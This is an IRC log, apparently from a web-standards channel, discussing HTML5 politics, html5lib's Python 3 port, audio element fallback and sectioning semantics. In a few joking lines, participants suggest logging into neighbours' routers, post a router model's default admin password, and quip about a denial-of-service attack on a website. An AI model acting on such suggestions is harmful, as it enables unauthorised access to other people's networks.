If a patent prohibits the distribution of some type of software, then as far as I'm concerned it's a software patent.  I'm not sure what else "software patent" would mean, in fact.

[18:22:01.0000] <Hixie>
Rik`: or element.innerHTML? 

[18:22:02.0000] <Hixie>
or showModalDialog()?

[18:22:03.0000] <Hixie>
or all the other things W3C never specced?

[18:22:04.0000] <othermaciej>
AryehGregor: I don't think win or lose is the right framing - clearly HTML5 is being implemented by browsers and adopted by content authors, and I don't think anyone wants or expects to reverse that

[18:22:05.0000] <jcranmer>
AryehGregor: `software patent' = the patent classification, according to the USPTO

[18:22:06.0000] <AryehGregor>
I think a lot of people want to reverse HTML5's success.

[18:22:07.0000] <othermaciej>
the question is a matter of how positive and peaceful the rollout can be

[18:23:00.0000] <Rik`>
Hixie: the only process to check that the policy is respected is the HTML validator

[18:23:01.0000] <othermaciej>
if there is an active resistance movement, that would be a bad thing for the Web platform, even if there is no hope of truly scuttling the effort

[18:23:02.0000] <AryehGregor>
jcranmer, hmm, didn't know there was such a thing.  Well, then "software-related patent" or whatever term you'd like me to use.  At least they shouldn't exist insofar as they prohibit the creation of computing standards, file formats, etc.

[18:23:03.0000] <Hixie>
Rik`: that says <embed> is bad, but people still use <embed>

[18:23:04.0000] <AryehGregor>
othermaciej, yes, I agree.  I'm just being overly confrontational (not that there's anyone here I'm confronting).

[18:24:00.0000] <Rik`>
I haven't seen a lot of Youtube videos on such sites

[18:24:01.0000] <AryehGregor>
Anyway, I don't think most of this contradicts my original point, which is that getting HTML5 approved as a W3C standard is mostly just a political move.

[18:24:02.0000] <AryehGregor>
Hixie, even public organizations?  Wasn't there a big breakthrough recently when the US government allowed its websites to use cookies?

[18:25:00.0000] <AryehGregor>
Just because everyone uses it doesn't mean some crazy government bureaucrats will allow the government to use it.  :)

[18:25:01.0000] <Hixie>
AryehGregor: gov'ts have been embedding flash and videos and the like for plenty of time

[18:25:02.0000] <othermaciej>
standards are political

[18:25:03.0000] <AryehGregor>
I guess they don't really have any choice, if they want to post videos . . .

[18:25:04.0000] <Hixie>
AryehGregor: and i doubt that if the world moved forward, they would continue to stay in 1999 until such time as w3c stamped the spec

[18:26:00.0000] <othermaciej>
actually, standards are more like international relations than politics

[18:26:01.0000] <jcranmer>
from what I can tell, gov'ts are rather technologically incompetent

[18:26:02.0000] <jcranmer>
they just use <insert some standard utility here>

[18:27:00.0000] <othermaciej>
you can be a realist or an idealist, but ultimately there's no direct enforcement for defecting, so it has to be in everyone's interest to cooperate

[18:27:01.0000] <othermaciej>
or the effort fails

[18:27:02.0000] <othermaciej>
so you can compare the W3C to the UN

[18:28:00.0000] <Rik`>
othermaciej: do you have a blue helmet ?

[18:28:01.0000] <othermaciej>
it starts as a collection of its constituents, but eventually develops its own institutional interests which at times also need to be considered

[18:29:00.0000] <othermaciej>
Rik`: not a bad analogy - responsible for keeping the peace, but little power to enforce it and not much respect from the locals

[18:29:01.0000] <Dashiva>
So what's the w3c equivalent of the human rights' council coup?

[18:30:00.0000] <othermaciej>
the TAG

[18:30:01.0000] <othermaciej>
maybe WAI? I could make a case for either, but this is getting to be a silly metaphor

[18:31:00.0000] <karlcow>
I18N + TAG + WAI + QA (when it was still existing)

[18:32:00.0000] <AryehGregor>
Are we going to come up with an analogy to the fact that China and Russia are members of the HRC?  :)

[18:33:00.0000] <karlcow>
http://beta.w3.org/Consortium/mission

[18:39:00.0000] <cardona507>
why oh why must they plug twitter at the bottom of that page?!

[19:04:00.0000] <takkaria>
what about the security council?

[19:05:00.0000] <AryehGregor>
For HTML5, the W3C is the General Assembly and the Steering Committee is the Security Council.  :)

[23:28:00.0000] <othermaciej>
does anyone have a link handy to Mike Smith's draft or Lachy's authoring guide?

[23:39:00.0000] <hsivonen>
hmm. there's a CC logo on the ODRL front page. I wonder how ODRL relates to CC/REL

[23:43:00.0000] <Lachy>
othermaciej, http://dev.w3.org/html5/html-author/

[23:48:00.0000] <hsivonen>
Lachy: s/contain/contains/ in "and the body, which contain all of the page’s content"

[23:49:00.0000] <hsivonen>
Lachy: also, when you mention RDF, you could also mention DocBook and say that HTML falls in between

[23:49:01.0000] <hsivonen>
after all, HTML is pretty light on semantics and, therefore, not exemplary of a semantic markup language

[23:50:00.0000] <hsivonen>
s/RDF/RTF/

[01:44:00.0000] <lazni>
I can't checkout v.nu code, svn: Could not open the requested SVN filesystem

[01:46:00.0000] <hsivonen>
lazni: which svn URL?

[01:46:01.0000] <lazni>
svn co http://svn.versiondude.net/whattf/build/trunk/ build

[01:46:02.0000] <hsivonen>
lazni: that URL is no more

[01:46:03.0000] <hsivonen>
lazni: do I still have documentation out there that gives that URL?

[01:46:04.0000] <hsivonen>
lazni: see http://about.validator.nu/#src

[01:47:00.0000] <lazni>
the last time I go to http://about.validator.nu/#src it was there

[01:47:01.0000] <lazni>
sorry

[01:47:02.0000] <hsivonen>
lazni: CVSDude changed their system

[02:05:00.0000] <lazni>
line 281 of html5lib/python3/src/html5lib/treebuilders/etree_lxml.py uses python2 syntax            print docStr

[02:13:00.0000] <annevk2>
are we porting html5lib to Python 3?

[02:15:00.0000] <Philip`>
Someone seemingly started

[02:16:00.0000] <Philip`>
Is there a better approach than maintaining two parallel versions of all the code?

[02:16:01.0000] <hsivonen>
Philip`: writing a translator that converts one into the other

[02:16:02.0000] <hsivonen>
language to language compilation FTW!

[02:17:00.0000] <annevk2>
I'm not sure that mantra applies to everyone :)

[02:17:01.0000] <Philip`>
Python already has a tool to do that, but I don't know if it's perfect or if some manual fixup is needed on the output

[02:19:00.0000] <hsivonen>
does Python 3 have a switch statement yet?

[02:19:01.0000] <annevk2>
Philip`, it's not perfect at all, but does quite a bit of work; see diveintopython3

[02:20:00.0000] <Philip`>
hsivonen: It has if/elif - what more do you want?

[02:21:00.0000] <hsivonen>
Philip`: what are the perf characteristics of an if/elif chain compared to switch in C or Java?

[02:22:00.0000] <annevk2>
hsivonen, I don't think so: http://www.python.org/dev/peps/pep-3103/

[02:22:01.0000] <hsivonen>
at least when the switch has a contiguous range of integer cases, switch compiler more nicely

[02:22:02.0000] <Philip`>
Depends on the compiler, since surely it could optimise "if x == 1: ... elif x == 2: ..." without requiring the programmer to use special syntax

[02:22:03.0000] <Philip`>
(I'm sure it doesn't, but it could)

[02:23:00.0000] <hsivonen>
/me wonders if non-contiguous switch compiler to anything nicer than if-else in GCC

[02:23:01.0000] <jgraham>
We have a python3 branch of html5lib because I hacked one together one weekend

[02:23:02.0000] <hsivonen>
s/compiler/compiles/

[02:23:03.0000] <Philip`>
You can just use an array of functions in Python if you want contiguous indexed switching

[02:23:04.0000] <jgraham>
I guess if there is a bug in it like that it is because a) that is a file I didn't get to yet or b) something got checked in on the wrong file

[02:24:00.0000] <jgraham>
OTOH the Python3 branch is not really maintained yet

[02:24:01.0000] <lazni>
you didn't use 2to3?

[02:24:02.0000] <hsivonen>
if you have functions, you can't use the fall through tricks you can with switch cases

[02:24:03.0000] <jgraham>
I /did/ use 2to3 but it's not magic

[02:24:04.0000] <lazni>
/me thought 2to3 knows well about print()

[02:25:00.0000] <jgraham>
It will replace the print statements but it can't guess where you need byte arrays and where you need strings, for example

[02:26:00.0000] <Hixie>
gah, there's tons of interference on my local network

[02:26:01.0000] <jgraham>
(like said that file may never have been converted, or that print statement may have slipped in by accident later on)

[02:26:02.0000] <lazni>
oh ok

[02:26:03.0000] <Hixie>
i should not be getting 35ms pings to a box i can throw rocks at in less time than 35ms

[02:27:00.0000] <jgraham>
/me suspects that isn't true

[02:27:01.0000] <Ox032F>
hello, is there an easy way to determine (serverside wise would be better, but client side also ok) whether the client supports the html5 audio-tag?

[02:28:00.0000] <Hixie>
you shouldn't need to, generally speaking -- just put whatever your fallback is inside the <audio> element

[02:28:01.0000] <Ox032F>
ah cool

[02:29:00.0000] <Philip`>
hsivonen: In the non-contiguous case, it looks like GCC sometimes does a normal table jump (if you've just got a few holes, which it makes jump to code that does nothing) and sometimes does a kind of binary-tree lookup (though not really binary, but anyway it's not just a linear search)

[02:29:01.0000] <hsivonen>
I get tons of interference with the proprietary wireless dongle of my home mouse. I'm very annoyed at Logitech's failure to use bluetooth

[02:30:00.0000] <Philip`>
and I guess sometimes it will just do a linear search if it thinks that's fastest

[02:30:01.0000] <hsivonen>
at least Macs have decent bluetooth antennas

[02:30:02.0000] <hsivonen>
Philip`: cool

[02:30:03.0000] <hsivonen>
Philip`: thanks

[02:30:04.0000] <Hixie>
i wonder what this interference is coming from

[02:30:05.0000] <Philip`>
(I mean "looks like" in terms of the assembly output of a simple test program, and "guess" in terms of having no evidence)

[02:30:06.0000] <hsivonen>
good to know my use of switch isn't all in vein

[02:30:07.0000] <Hixie>
it's been going on longer than a microwave would, so it's not the neighbours microwaving something

[02:31:00.0000] <Philip`>
Intravenous switch?

[02:31:01.0000] <Hixie>
there are about 25 wifi networks in range, which probably doesn't help

[02:31:02.0000] <hsivonen>
s/vein/vain/

[02:32:00.0000] <Philip`>
Hixie: Try logging in to the others' router configuration interfaces (with a compatible browser) and then switch them all off

[02:32:01.0000] <lazni>
or juggle the channels

[02:32:02.0000] <Philip`>
or change their channel assignments to leave a nice big gap for you

[02:33:00.0000] <lazni>
WRT54G password is linksys:admin

[02:34:00.0000] <boblet>
Hixie: consistency note; 4.6.25 Usage summary ruby example doesn’t include closing </rt> and </rp>, and #the-rp-element example does (no big deal, but just in case)

[02:34:01.0000] <Hixie>
boblet: intentional

[02:34:02.0000] <Hixie>
boblet: the examples aren't supposed to be consistent

[02:36:00.0000] <boblet>
Hixie: actually I was happy to see the usage summary example, b/c all those elements in a small space was a little much last time I marked some up (XHTML-goggles)

[02:36:01.0000] <Hixie>
ok 1.3s to the router, which is literaly within kicking distance, is ridiculous

[02:36:02.0000] <hsivonen>
/me recommends gigabit ethernet

[02:37:00.0000] <Hixie>
i am indeed tempted to get out the ethernet cable

[02:37:01.0000] <Hixie>
(i'm using a laptop, the proximity to the router is coincidental)

[02:37:02.0000] <Philip`>
(By the way, by "a kind of binary tree lookup" I don't mean there's an actual tree data structure - it's just code, kind of like "if (x < 10) { if (x < 5) ... else ... } else if (x < 20) { ... }", maybe with a branch for each contiguous section or something)

[02:38:00.0000] <hsivonen>
speaking of routers, the UI for setting up a VPN between two Linksys boxes is ridiculously complex

[02:38:01.0000] <hsivonen>
/me wonders if the UI is designed for the people who spec the protocols at the IETF

[02:38:02.0000] <annevk2>
/me is glad he hardly has issues

[02:39:00.0000] <annevk2>
my six or so devices can all happily connect

[02:39:01.0000] <boblet>
Lachy: if you’re there I’d like to ask you about HTML5Doctors section article; “typically with a heading” is quite different to the “With very few exceptions, section should not be used if there is no natural heading for it”

[02:41:00.0000] <boblet>
that defn wouldn’t cover 4.6.26 Footnotes “longer annotation” example (section containing only <p>)

[02:42:00.0000] <Hixie>
/me accidentally DNS spoofs himself and gets a MITM message from ssh

[02:42:01.0000] <Hixie>
/me registers his ethernet address in DNS...

[02:47:00.0000] <Lachy>
boblet, how are they very different?

[02:48:00.0000] <boblet>
Lachy: level of strictness

[02:49:00.0000] <Lachy>
anyway, the point of the article was to try and discourage the common misuse of section as merely a wrapper

[02:49:01.0000] <boblet>
Lachy: eg I’ve got previous/next page links in a section (related content), but it has no heading. This seems correct for “typically”, but probably not for “should not”

[02:50:00.0000] <boblet>
Lachy: yeah I wondered if the language was stronger (well, to me) than the spec for that reason

[02:50:01.0000] <Lachy>
<footer> might be more appropriate for the prev/next links

[02:51:00.0000] <boblet>
Lachy: Since the article doesn’t list any, could you give an example or two of ok exceptions?

[02:52:00.0000] <boblet>
Lachy: it’s a <section> in the page <footer> :)

[02:53:00.0000] <Lachy>
web applications generally have more use for headingless sections

[02:53:01.0000] <Lachy>
the gmail inbox was mentioned in here as one such example recently

[02:55:00.0000] <Lachy>
or perhaps the center column of facebook where it lists all your friends statuses

[02:55:01.0000] <boblet>
Lachy: so would eg the typical <div id="main"> and <div id="sidebar"> be appropriate as <section>s? (assuming sidebar contains disparate content so <aside> isn’t appropriate)

[02:56:00.0000] <boblet>
on one hand they’re layout hooks, but otoh they are logical chunks of related content 

[02:56:01.0000] <jgraham>
I'm not sure that gmail is a good example

[02:56:02.0000] <Lachy>
<div id="main"> shoud generally keep using <div> if it's just used as a wrapper to separate it from the header and footer

[02:56:03.0000] <jgraham>
I think if I were using AT I would want headings on each section so that I could quickly navigate between different parts of the UI

[02:57:00.0000] <boblet>
wow, ok

[02:57:01.0000] <jgraham>
(the could be hidden using CSS ofc)

[02:57:02.0000] <Lachy>
<aside> is for sidebar, unless we introduce <sidebar> as was discussed recently

[02:58:00.0000] <boblet>
jgraham: ok, that’s kinda the rule of thumb I’m working to after reading the HTML5Doctors article

[02:59:00.0000] <boblet>
Lachy: <aside> couldn’t include non-related content tho (list of site-wide popular links etc), right?

[03:00:00.0000] <Lachy>
why not?

[03:00:01.0000] <Hixie>
wouldn't side-wide popular links be <nav>?

[03:00:02.0000] <Ox032F>
Hixie: you said I should just put the fallback code inside the audio-tag, but <audio id='sound'><object id='sound'></object></audio> won't give me access by id if the audio-tag is not avaiable, so I guess I have to give different ids and test via javascript which is usable!? If the audio-tag is avaible would the object be avaiable by id?

[03:01:00.0000] <Hixie>
Ox032F: if you're using javascript, you'll have to test to see if the element is supported anyway, since it's unlikely that your plugin will have the same API as the <audio> element

[03:01:01.0000] <Lachy>
boblet, what do you mean by "site-wide popular links"?

[03:01:02.0000] <Ox032F>
thats not a problem, I'm testing for Play(), play() and DoPlay() already

[03:01:03.0000] <Lachy>
I thought maybe it was a blog roll or something

[03:03:00.0000] <boblet>
Lachy: I perceive <aside> should only contain tangental info that’s relevant to the <article>/<section>. Weblogs often have a grabbag of random stuff on every page’s sidebar; imported twitter posts, site search, most popular articles, recent site-wide comments etc

[03:04:00.0000] <boblet>
Lachy: I would have thought these aren’t relevant to the <article>, so shouldn’t be in an <aside> …?

[03:05:00.0000] <Lachy>
seems like it would go in the body's aside.  <body><header/><div id=main/> <aside>[all that stuff in here]</aside></body>

[03:08:00.0000] <boblet>
Lachy: aah indeed. d’oh

[03:11:00.0000] <boblet>
I was gonna comment on the woork HTML5 cheatsheet mistakes: http://woork.blogspot.com/2009/09/html-5-visual-cheat-sheet-by-woork.html maybe I shouldn’t :x

[03:11:01.0000] <boblet>
angry? how about :|

[03:11:02.0000] <annevk2>
Ox032F, you should not use duplicate IDs

[03:11:03.0000] <annevk2>
Ox032F, 'cause both end up in the DOM

[03:11:04.0000] <Ox032F>
ok

[03:12:00.0000] <annevk2>
Ox032F, also, if the <object> plug-in automatically starts playing you have a problem as it will do so in new browsers too

[03:12:01.0000] <Hixie>
only if they don't implement the spec properly

[03:12:02.0000] <Hixie>
the spec says <object> inside <video>/<audio> doesn't instantiate

[03:12:03.0000] <Ox032F>
shouldn't <parameter autoplay='false'> prevent that?

[03:16:00.0000] <annevk2>
Hixie, ah, I forgot it changed

[03:18:00.0000] <hsivonen>
apparently all blog commenters aren't OK with the new no-space spec titling :-(

[03:18:01.0000] <Hixie>
i cannot _believe_ how much time has been wasted on the presence or existence of that space

[03:18:02.0000] <Hixie>
if i knew zeldman's request was going to cause this much pain, i'd have said no

[03:22:00.0000] <virtuelv>
Hixie: that's the danger of announcing that a bikeshed is being built in the back yard

[03:22:01.0000] <hsivonen>
virtuelv: I tried to announce it had been built and painted already.

[03:23:00.0000] <Hixie>
i don't really understand why anyone cares

[03:24:00.0000] <hsivonen>
Hixie: trying to make "HTML 5" and "HTML5" mean different things was too obscure

[03:24:01.0000] <Philip`>
People who care about specifications are likely to care about accuracy and preciseness and getting things exactly right, and caring about all the little details

[03:24:02.0000] <hsivonen>
Hixie: also, people want to know what's "right"

[03:24:03.0000] <Hixie>
hsivonen: when i said they meant different things i figured people would take it as a ridiculous joke

[03:24:04.0000] <Philip`>
Try a different community if you want people who don't care about this stuff :-)

[03:25:00.0000] <Philip`>
(Please remove some redundant uses of "care" in the previous sentences)

[03:25:01.0000] <hsivonen>
Hixie: you are in the business of writing *precise* specs, so that kind of things don't work as jokes

[03:25:02.0000] <Philip`>
Hixie: It doesn't seem any more ridiculous than e.g. Perl and perl meaning different things

[03:25:03.0000] <Hixie>
"Perl" and "perl" mean different things?

[03:25:04.0000] <Hixie>
hsivonen: apparently

[03:26:00.0000] <hsivonen>
Hixie: Perl means the language and perl means the implementation

[03:26:01.0000] <Philip`>
Perl is the language, perl is the standard implementation

[03:26:02.0000] <Hixie>
:-/

[03:26:03.0000] <Philip`>
and PERL means you're stupid and can be ignored and/or ridiculed because you can't even capitalise the name correctly

[03:27:00.0000] <hober>
and perl is the only thing that can parse Perl, IIRC.

[03:28:00.0000] <Lachy>
boblet, that HTML5 visual cheat sheet includes elements that were dropped a long time ago

[03:28:01.0000] <hsivonen>
/me guesses Perl is undecidable like C++

[03:28:02.0000] <Lachy>
like <datatemplate>, <rule> and <nest>

[03:28:03.0000] <boblet>
Lachy: apart from adactio’s I haven’t seen a cheatsheet that wasn’t riddled with errors :/

[03:28:04.0000] <Philip`>
hober: http://search.cpan.org/~adamk/PPI-1.206/lib/PPI.pm apparently does quite a good job at parsing Perl independently of perl

[03:29:00.0000] <boblet>
Lachy: writing a comment now—will add those

[03:29:01.0000] <boblet>
(to the list of mistakes)

[03:29:02.0000] <Philip`>
hsivonen: What do you mean by "undecidable" in this context?

[03:29:03.0000] <Philip`>
For C++, compiling source into an executable is undecidable

[03:29:04.0000] <Philip`>
but Perl doesn't really compile like that

[03:30:00.0000] <Lachy>
boblet, I'm guessing he's working from some old draft or somethign

[03:30:01.0000] <annevk2>
his source is stated

[03:30:02.0000] <Lachy>
otherwise, I can't figure out how he would have ended up with those long gone elements

[03:30:03.0000] <annevk2>
it is w3schools

[03:30:04.0000] <hsivonen>
Philip`: that you can't build an AST from a source file without auxiliary information

[03:30:05.0000] <boblet>
Lachy: maybe the W3Schools cheatsheet? :D

[03:30:06.0000] <boblet>
hah, kabutta

[03:30:07.0000] <lazni>
http://ovh.dl.sourceforge.net/sourceforge/junit/junit-4.4.jar times out, http://ncu.dl.sourceforge.net/project/junit/junit/4.4/junit-4.4.jar works

[03:31:00.0000] <hsivonen>
lazni: could be a temporary problem

[03:31:01.0000] <hsivonen>
unless ovh has stopped being a sf.net mirror

[03:31:02.0000] <lazni>
I think you can use the general link instead of hardcoding the mirror

[03:32:00.0000] <lazni>
I tried nchc and it directed  me to http://downloads.sourceforge.net/sourceforge/junit/junit-4.4.jar?download&failedmirror=nchc.dl.sourceforge.net

[03:32:01.0000] <Lachy>
ah, well, that sucks. No-one should use W3schools as a source for anything :-(

[03:32:02.0000] <hsivonen>
lazni: do they use sane redirects instead of serving an HTML file form the general link?

[03:32:03.0000] <zcorpan_>
Ox032F: set the id on the <audio>, test support with if ('play' in audio)

[03:32:04.0000] <Philip`>
hsivonen: In Perl you can write 'BEGIN { undecidable_function() } syntax error' so it seems boringly true that you can't parse the whole file decidably

[03:32:05.0000] <Hixie>
new <aside> text is up

[03:32:06.0000] <Hixie>
with a new example

[03:32:07.0000] <zcorpan_>
Ox032F: else use audio.firstChild (the object)

[03:32:08.0000] <lazni>
it looks sane, I used wget nchc.dl...

[03:32:09.0000] <Philip`>
At least C++ forces you to do interesting crazy template stuff before it's impossible to compile

[03:32:10.0000] <boblet>
actually, is there a definitive list of HTML5 elements, something like http://www.w3schools.com/tags/html5.asp but actually correct?

[03:33:00.0000] <annevk2>
boblet, http://simon.html5.org/html5-elements is maintained

[03:33:01.0000] <hsivonen>
lazni: OK. thanks. I guess I need to recheck the sf.net mirroring stuff

[03:33:02.0000] <hsivonen>
is it a *cheat* sheet if it's maintained? :-)

[03:33:03.0000] <boblet>
annevk2: great—that’s actually what I’d been using. nice to know

[03:33:04.0000] <Hixie>
zcorpan_: btw, any chance you could make your script generate http://www.whatwg.org/specs/web-apps/current-work/#index ?

[03:33:05.0000] <othermaciej>
it's an honesty sheet

[03:33:06.0000] <jgraham>
Maybe the time people are spending debating the " " could be better used launching a DOS attack on w3schools

[03:34:00.0000] <boblet>
lol

[03:34:01.0000] <zcorpan_>
Hixie: i don't have a script for it

[03:34:02.0000] <Hixie>
ah, bummer

[03:35:00.0000] <zcorpan_>
keeping it up-to-date manually helps me find mistakes in the spec :)

[03:35:01.0000] <Lachy>
Hixie, I have some scripts that could be used for those

[03:35:02.0000] <Hixie>
zcorpan_: :-)

[03:35:03.0000] <Ox032F>
zcorpan_: yes, I'm doing something like that now, but I set a seperate id for the object, to have less correlation between html and js, thx

[03:35:04.0000] <Hixie>
Lachy: that would rock

[03:35:05.0000] <Lachy>
well, some that are incomplete, but I'd written some for my HTML5 Reference

[03:36:00.0000] <Hixie>
Lachy: i'm happy to adjust the markup if it would help

[03:36:01.0000] <Lachy>
I doubt it would take much to modify them to output what you need

[03:36:02.0000] <annevk2>
Hixie, the current requirements, especially the asterisk ones, are hard to automate

[03:36:03.0000] <Hixie>
yes

[03:36:04.0000] <Hixie>
i expect there would be some manual input

[03:37:00.0000] <Hixie>
e.g. a configuration file, or some annotations in the html5 spec

[03:37:01.0000] <annevk2>
Hixie, it would also be nice to have a really short description for each element, similar to what Mike has

[03:37:02.0000] <Lachy>
Hixie, I will prrioritise those scripts, since I need to have the "List of elements" and "List of attributes" tables for the HTML5 reference too

[03:38:00.0000] <Hixie>
Lachy: cool

[03:38:01.0000] <Hixie>
annevk2: good point, let me add a column for that

[03:38:02.0000] <Lachy>
but they're all here if you want to do it yourself http://dev.w3.org/cvsweb/html5/html-author/utils/

[03:38:03.0000] <Hixie>
i'm going to prioritise getting feedback to zero

[03:39:00.0000] <zcorpan_>
/me is going to prioritize keeping feedback above zero

[03:39:01.0000] <Hixie>
:-/

[03:39:02.0000] <zcorpan_>
j/k :-)

[03:40:00.0000] <jgraham>
/me wonders if anyone else had the cartoon "Captain Planet" when they were small

[03:40:01.0000] <Hixie>
:-)

[03:40:02.0000] <hsivonen>
http://www.whatwg.org/issues/data.html is looking awesome

[03:40:03.0000] <Lachy>
jgraham, I remember that :-)

[03:40:04.0000] <jgraham>
IIRC the theme tune had something like "Captain Planet, he's a hero, gonna get pollution down to zero"

[03:40:05.0000] <jgraham>
So now I imagine Hixie in a kind of superhero role...

[03:40:06.0000] <Hixie>
:-/

[03:41:00.0000] <Hixie>
that's the superfriends

[03:41:01.0000] <Hixie>
flying around in capes

[03:41:02.0000] <Philip`>
Wikipedia says "Captain Planet he's our hero"

[03:41:03.0000] <jgraham>
They could be your comedy sidekicks or something

[03:41:04.0000] <Philip`>
but I remember hearing it as more like "a"

[03:41:05.0000] <hsivonen>
jgraham: Hixie doesn't do capes

[03:41:06.0000] <Hixie>
(apparently their super abilities don't include sending feedback, though)

[03:42:00.0000] <Philip`>
"Earth, Fire, Wind, Water, Heart... Go Planet" - that doesn't seem to quite match the original Aristotle

[03:42:01.0000] <jgraham>
hsivonen: I thought he did

[03:43:00.0000] <Hixie>
no capes!

[03:43:01.0000] <Hixie>
have you not seen the incredibles!

[03:43:02.0000] <jgraham>
(specifically I thought he did LARP which seems like it could involve capes if the need arose)

[03:43:03.0000] <MikeSmith>
Hixie: feel free to use verbatim any of the short descriptions from my draft that you want to

[03:43:04.0000] <Hixie>
MikeSmith: thanks

[03:44:00.0000] <Hixie>
MikeSmith: so far i've only got one line per table, i haven't started generating the tables automatically yet

[03:44:01.0000] <Hixie>
one day

[03:44:02.0000] <MikeSmith>
OK

[03:45:00.0000] <MikeSmith>
/me would rather have a pimp cane than a cape

[03:46:00.0000] <Philip`>
What would your super ability be?

[03:46:01.0000] <MikeSmith>
Philip`: my ability would be super macking

[03:47:00.0000] <MikeSmith>
combined with an exceptional ability to be able to make a bong out of any available materials

[03:48:00.0000] <MikeSmith>
wait, I already have both of those abilities

[03:49:00.0000] <MikeSmith>
/me tries to think of other useful abilities

[03:50:00.0000] <MikeSmith>
Philip`: X-ray vision

[03:50:01.0000] <MikeSmith>
or better yet, XXX-ray vision

[03:50:02.0000] <Hixie>
MikeSmith: btw, i was informed that the description of the <ruby> example we came up with was wrong.

[03:50:03.0000] <Hixie>
MikeSmith: something about it not being kanji after all, but being hiragana

[03:51:00.0000] <Hixie>
i was also told it was furigana

[03:52:00.0000] <Hixie>
MikeSmith: http://www.whatwg.org/specs/web-apps/current-work/#the-ruby-element

[03:52:01.0000] <MikeSmith>
Hixie: yeah, I saw that. I guess "furigana reading" is probably the most precise way to describe it.

[03:52:02.0000] <Hixie>
MikeSmith: not hiragana?

[03:52:03.0000] <hsivonen>
can the reading be furigana?

[03:53:00.0000] <hsivonen>
/me thought the annotation itself was typographically furigana

[03:53:01.0000] <hsivonen>
but "reading"?

[03:53:02.0000] <MikeSmith>
well, I think I originally suggested "kanji reading" (meaning the reading of the kanji, not that the reading itself was kanji)

[03:54:00.0000] <MikeSmith>
but people pointed out that was ambiguous

[03:54:01.0000] <Hixie>
what is the reading itself in?

[03:54:02.0000] <MikeSmith>
I guess "reading in furigana" would be the least ambiguous

[03:54:03.0000] <MikeSmith>
the reading you have in there now is hiragana

[03:54:04.0000] <Hixie>
so wouldn't "reading in hiragana" be better?

[03:54:05.0000] <Hixie>
furigana is the name of the typographical tool, right? not the letters?

[03:54:06.0000] <MikeSmith>
it's more generally furigana

[03:55:00.0000] <MikeSmith>
because you might have another case where it's in katakana

[03:55:01.0000] <Hixie>
i'm talking specifically about the case in the example here

[03:55:02.0000] <Hixie>
not anything generic

[03:55:03.0000] <MikeSmith>
specifically, it's hiragana

[03:55:04.0000] <Hixie>
ok

[03:57:00.0000] <MikeSmith>
Hixie: I think to be as unambiguous as possible, it should be "annotated with its reading in hiragana"

[03:57:01.0000] <Hixie>
k

[04:02:00.0000] <zcorpan_>
Hixie: http://annevankesteren.nl/2006/01/fallback for the fallback discussion

[04:03:00.0000] <Hixie>
what about it?

[04:03:01.0000] <zcorpan_>
you could define two different terms for fallback

[04:03:02.0000] <zcorpan_>
one for the kind of fallback that img and object use

[04:03:03.0000] <zcorpan_>
and one for the kind that iframe and audio use

[04:04:00.0000] <zcorpan_>
i think <applet> actually supports both kinds

[04:05:00.0000] <Hixie>
i'm trying to get rid of the term altogether actually

[04:05:01.0000] <zcorpan_>
ok

[04:05:02.0000] <Hixie>
not trying very hard

[04:05:03.0000] <Hixie>
but hard enough not to add anything new along those lines :-)

[04:16:00.0000] <annevk2>
reading that again the terms content fallback and element fallback seems nice

[04:16:01.0000] <annevk2>
s/seems/seem/

[04:26:00.0000] <hsivonen>
http://stackoverflow.com/questions/1417683/add-html-5-doctype-to-xdocument-net

[04:40:00.0000] <hsivonen>
Hixie: when the UA supports no crypto for <keygen>, wouldn't it make sense to require the element to be an HTMLUnknownElement in that case?

[04:41:00.0000] <zcorpan_>
how are authors supposed to check for support for keygen?

[04:41:01.0000] <zcorpan_>
or are they expected to test support for ActiveX first?

[04:42:00.0000] <erlehmann_>
lol

[04:42:01.0000] <gsnedders>
/me would prefer we didn't have HTMLUnknownElement

[04:42:02.0000] <zcorpan_>
what do they do today?

[04:42:03.0000] <Hixie>
hsivonen: see my e-mail

[04:43:00.0000] <Ox032F>
doesn't firefox recognize the 'loop' and 'autoplay' parameters in audio-tag?

[04:44:00.0000] <hsivonen>
Hixie: is it actually desirable to make it act like a form control when it has no crypto?

[04:44:01.0000] <jgraham_>
gsnedders: Do you have any good reason for that wish?

[04:44:02.0000] <Hixie>
it's desierable to not have random other parts of scripts fail, yes

[04:44:03.0000] <gsnedders>
jgraham_: It just seems so ugly

[04:44:04.0000] <jgraham_>
gsnedders: Why?

[04:45:00.0000] <hsivonen>
Hixie: ok. let's see if IE9 implements those parts

[04:45:01.0000] <annevk2>
jgraham_, it ought to be just HTMLElement

[04:45:02.0000] <jgraham_>
annevk2: It's not obvious to me why it makes a big difference

[04:45:03.0000] <gsnedders>
jgraham_: Adding new HTML elements it will lead to compat issues

[04:45:04.0000] <annevk2>
jgraham_, HTMLUnknownElement is some Firefox invention that somehow started affecting other browsers much like crap IE once introduced

[04:46:00.0000] <jgraham_>
annevk2: I know

[04:46:01.0000] <annevk2>
it doesn't make much of a difference, it's just annoying

[04:46:02.0000] <gsnedders>
jgraham_: Things change the prototype of HTMLUnknownElement and rely upon that working, so if that element becomes known, then we have compat issues

[04:46:03.0000] <zcorpan_>
Ox032F: autoplay seems to work for me, but not loop

[04:46:04.0000] <annevk2>
wihch reminds me, we still haven't dealt with XMLDocument vs Document vs etc.

[04:46:05.0000] <annevk2>
at the spec-level

[04:47:00.0000] <Hixie>
hsivonen: i imagine if we test suite it, some code monkey will be assigned the job of fixing the minor things and they'll just end up coding it without knowing why, and it'll be done

[04:47:01.0000] <jgraham_>
gsnedders: Things that change the prototype of DOM objects in general and rather underspecified...

[04:47:02.0000] <hsivonen>
Hixie: fair enough

[04:47:03.0000] <jgraham_>
s/and/are/

[04:47:04.0000] <jgraham_>
gsnedders: But presumably we would have had compat issues anyway

[04:48:00.0000] <Ox032F>
zcorpan_: well, the problem is I can't disable autoplay, and when I start the sound with javascript it seems to loop, but maybe thats even a problem with the object tag inside the audio, I can't tell so far

[04:48:01.0000] <jgraham_>
e.g. if I was using a made-up <video> tag to signify a place where a script should insert a youtube video, that would break when browsers introduced native <video> 

[04:51:00.0000] <jgraham_>
(in fact having HTMLUnknownElement might somehow be better because you could use it to detect unexpected native support for a tag you were abusing)

[04:53:00.0000] <zcorpan_>
Ox032F: by default, it doesn't autoplay and it doesn't loop

[04:53:01.0000] <zcorpan_>
Ox032F: they are boolean attributes, so trying to set autoplay=false will actually cause it to autoplay (attribute present means "true")

[04:54:00.0000] <Ox032F>
zcorpan_: ok, but thats not true for parameter-tags in object, is it?

[04:54:01.0000] <zcorpan_>
Ox032F: oh, i thought you were talking about <audio>

[04:55:00.0000] <Ox032F>
I was

[04:55:01.0000] <zcorpan_>
ok

